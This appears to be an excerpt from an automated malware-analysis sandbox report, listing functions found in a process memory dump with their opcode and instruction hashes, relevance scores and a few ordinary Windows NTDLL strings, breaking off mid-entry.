Instruction ID: f84e790c7d29f44e79bfb881e329d1ec69fed26b7fb1a98799d49b563300df33
Opcode Fuzzy Hash: 1e2746b5acba30a8f17f2b443df8dac3377a3bf826081c3e5815120494909846
Instruction Fuzzy Hash: 1A310372D0055ABFDB15DA5AC94DE6FB775EF80B20F124169E814A7282D7709F00E7A0

Uniqueness

Uniqueness Score: -1.00%

Function 00F9D294, Relevance: 1.3, Strings: 1, Instructions: 93COMMON

Download Yara Rule

Strings

@, xrefs: 00F9D303

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 951efe3ebea93d0f5b7f35897181223514d994d7f57b9ff52d493fef09226e67
Instruction ID: ab3f88cc9c6516c9206c856fc19e448f127aafc29a12a5c1d5096c959a89e7ca
Opcode Fuzzy Hash: 951efe3ebea93d0f5b7f35897181223514d994d7f57b9ff52d493fef09226e67
Instruction Fuzzy Hash: 12318FB29083059FDB11DF28C981EABBBE8EB85754F20092EF994C3251D635DD04EB93

Uniqueness

Uniqueness Score: -1.00%

Function 00F71B8F, Relevance: 1.3, Strings: 1, Instructions: 86COMMON

Download Yara Rule

Strings

WindowsExcludedProcs, xrefs: 00F71BC5

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID:
String ID: WindowsExcludedProcs
API String ID: 0-3583428290
Opcode ID: 1bf07565f9293903005a3f3a42acb8b910e30ddc7b9aa6256cfa4b1325e2faca
Instruction ID: 0f74b5c06f0b56d966d5ecde52b425daa02bca2296e874b42330d0345d2f3821
Opcode Fuzzy Hash: 1bf07565f9293903005a3f3a42acb8b910e30ddc7b9aa6256cfa4b1325e2faca
Instruction Fuzzy Hash: 9B21FB77940229ABCB22AA99C941F9B776DBF41760F15842AF9089B200D734DD04F7A2

Uniqueness

Uniqueness Score: -1.00%

Function 01018DF1, Relevance: 1.3, Strings: 1, Instructions: 45COMMON

Download Yara Rule

Strings

Critical error detected %lx, xrefs: 01018E21

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID:
String ID: Critical error detected %lx
API String ID: 0-802127002
Opcode ID: 37ee570e71c8afeef0a551ea141b67be77fb7ebd25ba729eafdd9a5a83cf343d
Instruction ID: 08959715f04760dfa25dd291990126c07e19750c4851714995c775e33d712ef6
Opcode Fuzzy Hash: 37ee570e71c8afeef0a551ea141b67be77fb7ebd25ba729eafdd9a5a83cf343d
Instruction Fuzzy Hash: 2F11A171D04348DBDF24DFA989067DCBBF0BB04310F20816EE558AB292D3784601DF15

Uniqueness

Uniqueness Score: -1.00%

Function 00FFFF10, Relevance: 1.3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

Strings

NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p, xrefs: 00FFFF60

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID:
String ID: NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p
API String ID: 0-1911121157
Opcode ID: 98352b27029a5fef442484e65246031c909b44d6efc44da74e18de2b9c7931f7
Instruction ID: c9cdb0c7e274174c22e30a867be0dff3f07836149cb0f4339e9541cbea1d7acb
Opcode Fuzzy Hash: 98352b27029a5fef442484e65246031c909b44d6efc44da74e18de2b9c7931f7
Instruction Fuzzy Hash: E611E171910248EFDB21EB50CC89FA8BBB1BF04724F548164F6086B1B2C73D9944EB51

Uniqueness

Uniqueness Score: -1.00%

Function 01035BA5, Relevance: .6, Instructions: 592COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89f29d3463ecc3570dfbd9974d986c1e2bcf699352a23f0ccb5a7424342490b7
Instruction ID: e369310ef1b296844487f24aeb8d6a8b87f992cf7481d2e9de657498545fbb1e
Opcode Fuzzy Hash: 89f29d3463ecc3570dfbd9974d986c1e2bcf699352a23f0ccb5a7424342490b7
Instruction Fuzzy Hash: 5C427B71900229DFDB64CF68C880BA9BBF5FF85304F1481EAD98DAB252D7359A85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00F84120, Relevance: .4, Instructions: 444COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35c533bfe7ebfb5cf354173ec2f8ebdc33a6dff55a188d160b2e6f2ae5bb33fd
Instruction ID: 9b144ceeeda3f5d42ab5da5add02e8cbb7ecaf6bd19a1d157b4712cff7e55c9f
Opcode Fuzzy Hash: 35c533bfe7ebfb5cf354173ec2f8ebdc33a6dff55a188d160b2e6f2ae5bb33fd
Instruction Fuzzy Hash: 20F18D71A082128BC724DF59C481BBAB7E1FF98714F14492EF886CB251E734E891EB52

Uniqueness

Uniqueness Score: -1.00%

Function 00F9513A, Relevance: .3, Instructions: 258COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 555675b3d16571f4c5d33b251ab593370f8ae494beaf5044c3e6b27fa4be7258
Instruction ID: e42d384a76d2a1be6b3538a67f9e3412266c3238b87f1fa79dadafcb00eb0e9e
Opcode Fuzzy Hash: 555675b3d16571f4c5d33b251ab593370f8ae494beaf5044c3e6b27fa4be7258
Instruction Fuzzy Hash: 06C132755083808FD755CF28C480A6AFBF2BF88714F188A6EF8998B352D775E845DB42

Uniqueness

Uniqueness Score: -1.00%

Function 00F6C600, Relevance: .2, Instructions: 225COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3656a98f00cc32cc0d6d63d8061a50ff8a5a634de9a309500c2d82a5e5c5fd51
Instruction ID: 834300918978f881256490ef058ff1bda0b3043a82801a6e6496935f872eb7c1
Opcode Fuzzy Hash: 3656a98f00cc32cc0d6d63d8061a50ff8a5a634de9a309500c2d82a5e5c5fd51
Instruction Fuzzy Hash: 5C818276A083418BCB25EE14C891B6E73A6EB84360F28445BED459F355E335ED40E7A2

Uniqueness

Uniqueness Score: -1.00%

Function 00FFB8D0, Relevance: .2, Instructions: 199COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bfd6f481e3a362c296cbef7eeb592728321386f409271b954d04c57faedd6767
Instruction ID: 531c1e96a909270c2b40271766d9c8adb358cf9d8a3c31521067ea188d7778c9
Opcode Fuzzy Hash: bfd6f481e3a362c296cbef7eeb592728321386f409271b954d04c57faedd6767
Instruction Fuzzy Hash: F771FC32600709AFD7329F14CC46F66B7E5EF44720F244528EB558B6B1EBB9E940EB50

Uniqueness

Uniqueness Score: -1.00%

Function 00F652A5, Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ff72d7440d3e8c01d3f2ee6245c11e0775a16618e7c3b2a30ae9b08479c24a5
Instruction ID: 6d81f4d31eb94e1c1565abec141dd437ee771c4b88f66d376d7d944a6d8abd7c
Opcode Fuzzy Hash: 2ff72d7440d3e8c01d3f2ee6245c11e0775a16618e7c3b2a30ae9b08479c24a5
Instruction Fuzzy Hash: 3851FD71504742ABC321EF68CD42B27BBE4FF54B24F14482EF49597652EB78E840E792

Uniqueness

Uniqueness Score: -1.00%

Function 00F7EF40, Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbecc144452e6e9740e37df579310400ca1de53fcc592e2907188de4c37816b0
Instruction ID: 0351b0661992659c4d349ed71c5c64a7a80fd1b6cab486f7ccb6ff209be28c5a
Opcode Fuzzy Hash: fbecc144452e6e9740e37df579310400ca1de53fcc592e2907188de4c37816b0
Instruction Fuzzy Hash: 3C51E131E042459FDB10CB68C181BEEBBB1AF59324F28C1ABD45993382C375AD89F752

Uniqueness

Uniqueness Score: -1.00%

Function 0103740D, Relevance: .1, Instructions: 141COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01a4d08349e29d22493120a27b3d49beb444160764ac4f0ac8d9a4757e3060ec
Instruction ID: 1029e8ca79b2df06125be70c61d6ab7e06f027cd2e68602f5e9ca2d3bc2b13b5
Opcode Fuzzy Hash: 01a4d08349e29d22493120a27b3d49beb444160764ac4f0ac8d9a4757e3060ec
Instruction Fuzzy Hash: AC518FB1600646DFDB16CF58C881A95BBF9FF85304F14C0BAE9089F252E7B1E945CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00F94D3B, Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e149c66c5000dadc7601ac681d27fd22fbb932b8e55c8bf0c105bf69fef45a9
Instruction ID: 2c613eeb7fa464465382afb3544ce310be7438fd4fcc5e9d8e97a36ff4da85b2
Opcode Fuzzy Hash: 4e149c66c5000dadc7601ac681d27fd22fbb932b8e55c8bf0c105bf69fef45a9
Instruction Fuzzy Hash: EE410371A003189FEF31EF14CC81FAAB7AAEB55710F0440AAF9459B281D774ED41EB91

Uniqueness

Uniqueness Score: -1.00%

Function 00FA3D43, Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a24c243ba7d5e784f0cf514a50499c881ac873e09986fff5a77caa0f89fbe10
Instruction ID: c54df2b0395516861717089ddb5d0359928124ad527acdc8f6827220db49845c
Opcode Fuzzy Hash: 8a24c243ba7d5e784f0cf514a50499c881ac873e09986fff5a77caa0f89fbe10
Instruction Fuzzy Hash: 7631E2B2A04615DBC7249F29C881A7BBBF5EF96710B15806AF849CB350E730DD40E790

Uniqueness

Uniqueness Score: -1.00%

Function 00FE7016, Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c1f3ab11de9ad48338feb871835b04b3fc6dff7e0f674a6415704b94035f43e
Instruction ID: 644077e226af4803caeca265036c2bb08cbd0b6c4473ce4ef1f26a6cc08b83da
Opcode Fuzzy Hash: 1c1f3ab11de9ad48338feb871835b04b3fc6dff7e0f674a6415704b94035f43e
Instruction Fuzzy Hash: 6931D172A087919BC320EF69CC41A6BB3E9BFC8710F044A29F89587691E734E904D7A5

Uniqueness

Uniqueness Score: -1.00%

Function 00F8C182, Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4a3881b78bd852e90f123f8f308f7d6cb7f2242736900428c2759f2d7e2a9ea
Instruction ID: 5e308621b041eeed6e8d85fd044b0a168dc1fbd6952b1bcf15d37739a5a2e1c9
Opcode Fuzzy Hash: b4a3881b78bd852e90f123f8f308f7d6cb7f2242736900428c2759f2d7e2a9ea
Instruction Fuzzy Hash: A4312672A01586AED744FBB4CC81BE9F754BF52310F18826AE41C47342DB386A09F7E1

Uniqueness

Uniqueness Score: -1.00%

Function 00F9E730, Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70ac31f86f73bc81a5f7530d8d0e2de0b65295afd858a4c0a2d3eaee92e8d4df
Instruction ID: c58bb3101359b39cdffb09506222598256d59d693b8327de440c24599ad72fc4
Opcode Fuzzy Hash: 70ac31f86f73bc81a5f7530d8d0e2de0b65295afd858a4c0a2d3eaee92e8d4df
Instruction Fuzzy Hash: E7318075A14249EFEB44CF58D841F9AB7E4FB09314F14826AF914CB341E635ED80DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00F9BC2C, Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e6fe02c92a70f40867b7e5a0b7c44f82966d99952583f251f611af8a427605c
Instruction ID: f9b1dd7eeb6406ca709353a80c9c4da75c315a39ab71c335437c9001dbb5057c
Opcode Fuzzy Hash: 3e6fe02c92a70f40867b7e5a0b7c44f82966d99952583f251f611af8a427605c
Instruction Fuzzy Hash: 01310332A006159BEF61DF58E4807A7B3B4FB18320F54007AEC84DB205E77ADD45EB80

Uniqueness

Uniqueness Score: -1.00%

Function 00F69100, Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31601b2a6c93242f96aa2f99e479225d608b0c7f31354b1b8db2faa46985eba9
Instruction ID: efb7d2125f331648bffc77c2b23cabfa77fe35bd2cb11640717c60a2057190b9
Opcode Fuzzy Hash: 31601b2a6c93242f96aa2f99e479225d608b0c7f31354b1b8db2faa46985eba9
Instruction Fuzzy Hash: 9931F671E09246DFDB25DF68C548B9DB7F5FF4A360F24814AD44467241C3B4AD80EB51

Uniqueness

Uniqueness Score: -1.00%

Function 00F80050, Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b07524a5e30a7cba3356241ce0a8a369664a8cd47b2fdd656fe411611788f095
Instruction ID: 147e66a9cda58ce23c6d0973c3799c140f224575c75cb78e25d267c7d8bcda3b
Opcode Fuzzy Hash: b07524a5e30a7cba3356241ce0a8a369664a8cd47b2fdd656fe411611788f095
Instruction Fuzzy Hash: EE31BF31601B04CFD761DF28C940B96B3E5FF88724F24456DE49A87790EB75AC05EB90

Uniqueness

Uniqueness Score: -1.00%

Function 00FE6C0A, Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc4a5e995a50cdd9314a93bd75da3eab53ba4b429129bbcc274f213aa321befb
Instruction ID: d0b7302b301b4795d7a3bccca04b613fa41be8c555004ff50f951cd6582980cf
Opcode Fuzzy Hash: cc4a5e995a50cdd9314a93bd75da3eab53ba4b429129bbcc274f213aa321befb
Instruction Fuzzy Hash: DB21ADB1A00644AFC711EB69DC40F6AB7B8FF48750F240069F944D7791D638ED50DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00FA90AF, Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bfd702525c1db8ef159ef8001ebf0bb6a8fccc454e16ed8d2a19b71faa45fc1
Instruction ID: 96731d639d5f4d934658260ee84b865d8a33030ce33cf08beb69b784cbc44265
Opcode Fuzzy Hash: 6bfd702525c1db8ef159ef8001ebf0bb6a8fccc454e16ed8d2a19b71faa45fc1
Instruction Fuzzy Hash: DB2180B2A00205EFDB20DF59C844AAAF7F8EB55360F14887AE949A7240D370ED00EB90

Uniqueness

Uniqueness Score: -1.00%

Function 00F93B7A, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83dfc4f17fa830a6a38e3a8e8f6c5c8823aa39dd5d6fce00e870fde6e5918e83
Instruction ID: 15ced42278dfe51dab2f7d9d1c22d681bf4f29b82a3d12a674c2521a9db2775f
Opcode Fuzzy Hash: 83dfc4f17fa830a6a38e3a8e8f6c5c8823aa39dd5d6fce00e870fde6e5918e83
Instruction Fuzzy Hash: AB219272A00614AFDB10DF98CD81F6ABBBDFB44708F254069E908AB251D775EE05DB90

Uniqueness

Uniqueness Score: -1.00%

Function 0103070D, Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16b9495bd7cfc8dc207f06a58ad33f13931981def28ffdf8d69df6cf9eebd83e
Instruction ID: 474fe96c598dd8956be45ff02e579044e5f1bf64c99ef683f6190dd72dc352e0
Opcode Fuzzy Hash: 16b9495bd7cfc8dc207f06a58ad33f13931981def28ffdf8d69df6cf9eebd83e
Instruction Fuzzy Hash: 5F21FF36704200AFD716DF28C880BAABBE9FFD4350F048669F9958B385DB30D919CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00F9FD9B, Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bea69b06ccd41e2ab95b3552422c6337f6d423ba3d9b45e75fab26429da45353
Instruction ID: 752b7a4232a08d3b5777819f4dfe1dbafbed82e8cc60ec87d18208bbb64a3570
Opcode Fuzzy Hash: bea69b06ccd41e2ab95b3552422c6337f6d423ba3d9b45e75fab26429da45353
Instruction Fuzzy Hash: 7D217972A04A41DBEB31DF0AC540A66F7E5EB98B20F24817EE949C7621D734AC04EB80

Uniqueness

Uniqueness Score: -1.00%

Function 00F69240, Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4d05e0c2f72c307f2eed4c0b708e41e42fbecbe1a1db2511a054db22adc6fe35
Instruction ID: bba0b75cfd801f5666790796562e1f5cc2c92fb5a93db567600d9c465774d96f
Opcode Fuzzy Hash: 4d05e0c2f72c307f2eed4c0b708e41e42fbecbe1a1db2511a054db22adc6fe35
Instruction Fuzzy Hash: BD214571541640DFC722FF29CE02F5AB7F9FF08714F14456DA049866A2CB79E941EB44

Uniqueness

Uniqueness Score: -1.00%

Function 00FE46A7, Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c02f93804e98639f40e64f25065eaa58b5c60d6a79ebe6421c16f95bf281ade
Instruction ID: 058ac82f03eeda4394358ca92ee35b85638417311556cfd7cb5d3386a4d605c9
Opcode Fuzzy Hash: 6c02f93804e98639f40e64f25065eaa58b5c60d6a79ebe6421c16f95bf281ade
Instruction Fuzzy Hash: F7112572904208BBCB01AF5DD8809BEFBB9EF96300F10806EF944CB351DA359D55E3A4

Uniqueness

Uniqueness Score: -1.00%

Function 00F7766D, Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f0f9780e106b949b133bc76075252866a2fc865c05abd63e27a9356099b865c
Instruction ID: 781b3d188d625aa7f9e9c286994be9b8ae03f5bd1c6fcc0930326f9c2a777fcf
Opcode Fuzzy Hash: 0f0f9780e106b949b133bc76075252866a2fc865c05abd63e27a9356099b865c
Instruction Fuzzy Hash: 2501A732728619ABDB20EE5ECC41E5B77ADEB84760F244535B90CCB258DA30DD05E7A1

Uniqueness

Uniqueness Score: -1.00%

Function 00F69080, Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aec554354627c7375adf3a661611a7672167656ad92f74339ed4078da1a2694c
Instruction ID: 215bc2e91a39a5c5f8f7b9fb313db7850910b4c39b41a4c4efc823f7a31e2246
Opcode Fuzzy Hash: aec554354627c7375adf3a661611a7672167656ad92f74339ed4078da1a2694c
Instruction Fuzzy Hash: FA01A472A056049FD3259F24DC40B1277ADFB45334F258166E5058B692C7B5DC41DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00FFC450, Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: efb8dbafbc21be99c6828cd6b94329c97088fdc8e1727ade4875afce538aa955
Instruction ID: b13d8033bd35c27f458ca094f4dcc89833d01a7df4b092d79302f1b895237a05
Opcode Fuzzy Hash: efb8dbafbc21be99c6828cd6b94329c97088fdc8e1727ade4875afce538aa955
Instruction Fuzzy Hash: 5701D2B2140609BFD721AF25CD81EA2F7ADFF453A0F104125F21442570CB25ECA0EBE0

Uniqueness

Uniqueness Score: -1.00%

Function 01034015, Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a4c008186d97748e0060d3926bdf39e3caae76be4b6eac60cedd8666750fe40
Instruction ID: 8c7a0d5149cd9c7df668cc9ed44307613b1258fdcb6922111873ffd0f08007bb
Opcode Fuzzy Hash: 2a4c008186d97748e0060d3926bdf39e3caae76be4b6eac60cedd8666750fe40
Instruction Fuzzy Hash: B1012C72341A45BFD751BB79CD81E57B7ACEB89760B00022AF90887A12DB28EC11D6E4

Uniqueness

Uniqueness Score: -1.00%

Function 010214FB, Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39b55f4e56c9b31d7df495c5c8afbbaf84865d61c7b5cacd1b10d54a6b470dc2
Instruction ID: 19bdf5cde20d30feb7bafbcf338e9c839bc5407d700a0e4cdf5ce99f6ff2108a
Opcode Fuzzy Hash: 39b55f4e56c9b31d7df495c5c8afbbaf84865d61c7b5cacd1b10d54a6b470dc2
Instruction Fuzzy Hash: 3D019671A00258EFCB10EFA8D842EAEB7B8EF45700F404066F914EB341D674DA00CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0102138A, Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bbbaed67ce31e137614955ab06a2b76845c1f3bdaae07e03a8ba336b13805343
Instruction ID: 3e4adcb5fb63e434d004984c052508bc798677c9248b2d900993112d5232a0b7
Opcode Fuzzy Hash: bbbaed67ce31e137614955ab06a2b76845c1f3bdaae07e03a8ba336b13805343
Instruction Fuzzy Hash: 0F015271A04318AFDB14EFA9D842FAEBBB8EF45710F004066F904EB381D678DA41D794

Uniqueness

Uniqueness Score: -1.00%

Function 00F7B02A, Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e61b3b4b4670f516fc01dc09380e60ecf2e8637ce05565c6f774399af743f4d
Instruction ID: eb418e47b11e347c3f567f63f8f133e3dd662fb8bc924307f6ef022ab1d42dd3
Opcode Fuzzy Hash: 2e61b3b4b4670f516fc01dc09380e60ecf2e8637ce05565c6f774399af743f4d
Instruction Fuzzy Hash: DF01DF32A04A84DFD322971CC988F6777D8EF42764F1940A6F919CBA51D728EC40F222

Uniqueness

Uniqueness Score: -1.00%

Function 01031074, Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a72988ce9dc60262758ef624157dfdbdea34a544b180dca59702dd0cb14ae12
Instruction ID: bdf4d59f158fb4ed6d16d54145d792c062ac2ff9ff293b07bae8b92b130a50d7
Opcode Fuzzy Hash: 3a72988ce9dc60262758ef624157dfdbdea34a544b180dca59702dd0cb14ae12
Instruction Fuzzy Hash: 78012872604742DBD750EB69C904B5BBBD9ABC8310F04C959F9C583690EE74D441CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0101FE3F, Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dfd9c704dbe013d6758d6e2052ffef2827d051ae963ccdcbc7f60060f18e42ee
Instruction ID: 5d0649b6a0262b8130223e0abfff715a1474fe31c2e9d2ceee6186b68e0d8805
Opcode Fuzzy Hash: dfd9c704dbe013d6758d6e2052ffef2827d051ae963ccdcbc7f60060f18e42ee
Instruction Fuzzy Hash: 30018871A04218ABDB14EFA9D846FAEB7B8EF45704F004066B9009B381DA78D901C794

Uniqueness

Uniqueness Score: -1.00%

Function 0101FEC0, Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ecfa2b50302bb072187c33ad694b031a0867298cf952c8ee689495be12e9ed57
Instruction ID: a11c0daa70f2267251fccc01c10cb1ee0d7463efe5709bbdbc94f3af1b443e18
Opcode Fuzzy Hash: ecfa2b50302bb072187c33ad694b031a0867298cf952c8ee689495be12e9ed57
Instruction Fuzzy Hash: 88018871A04218ABD714EBA9D846FAFB7B8EF45700F004066B9009B381DA78D901C794

Uniqueness

Uniqueness Score: -1.00%

Function 01038A62, Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb712b5d7014473e1c904c04f03e911e699de2218d95349090c876cd8bd78767
Instruction ID: 8d4f7d4da9a8872eac774c6e45ca14503b51b5e48f418458724c90c81da6398d
Opcode Fuzzy Hash: fb712b5d7014473e1c904c04f03e911e699de2218d95349090c876cd8bd78767
Instruction Fuzzy Hash: C8012CB1A0021CAFDB00EFA9D9419EEBBB8EF49310F10409AF905E7341D638A901CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 01038ED6, Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 313eb1e9c7dd8867d8979a77c16a6d1beb69178becb3763c788de62f316b9db7
Instruction ID: b0e5afaba96bf9096cc655fc220fcf19516ae7283c86e7eb42cd26af8d011649
Opcode Fuzzy Hash: 313eb1e9c7dd8867d8979a77c16a6d1beb69178becb3763c788de62f316b9db7
Instruction Fuzzy Hash: 06111270A042199FD704DFA9D941BAEB7F4FF08300F1442A6F518EB342D638D940CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00F6DB60, Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.390523288.0000000000F40000.00000040.00000001.sdmp, Offset: 00F40000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4108fb18439822e7528065d03744c5b66e5752e741267b0d2dbc6e7ad13d6de1
Instruction ID: 0c91d472ba81fa133afd3e339deebfe0f068e27c5d3697e0279cb181f7406bb0
Opcode Fuzzy Hash: 4108fb18439822e7528065d03744c5b66e5752e741267b0d2dbc6e7ad13d6de1
